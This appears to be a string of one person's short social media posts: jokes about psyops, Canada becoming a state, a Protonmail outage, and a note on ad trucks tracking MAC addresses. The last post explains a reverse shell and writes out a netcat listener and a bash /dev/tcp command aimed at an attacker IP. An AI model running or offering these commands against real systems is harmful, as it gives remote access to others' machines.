TIL: Some delivery trucks that display ads aren’t actually making deliveries. Instead they are marketing campaigns that use WiFi beacons to track your device’s MAC address + location for targeting purposes. (1/2)

spinach is a scam

So… if Canada becomes a US state, how many electoral votes does it get?

Will probably make it difficult for Republicans to retain the presidency, especially when Canadians all lose their healthcare.

@proton.me second major protonmail outage in a month and i missed the link to join an interview 😔

systems design interview but it’s for santa’s delivery queue on xmas eve

TIL everything is a psyop

spy kids (2001) was a cia psyop just check out cia.gov/spy-kids

spotify wrapped is a cia psyop to reinforce the surveillance state 🤷‍♂️

curious how malware like remote access trojans (RATs) work? turns out you can create a very basic one with two commands:

attacker runs a TCP server:
nc -nlp 4444

victim connects to the server:
bash -i >& /dev/tcp/<attacker-ip>/4444 0>&1

this is called a reverse shell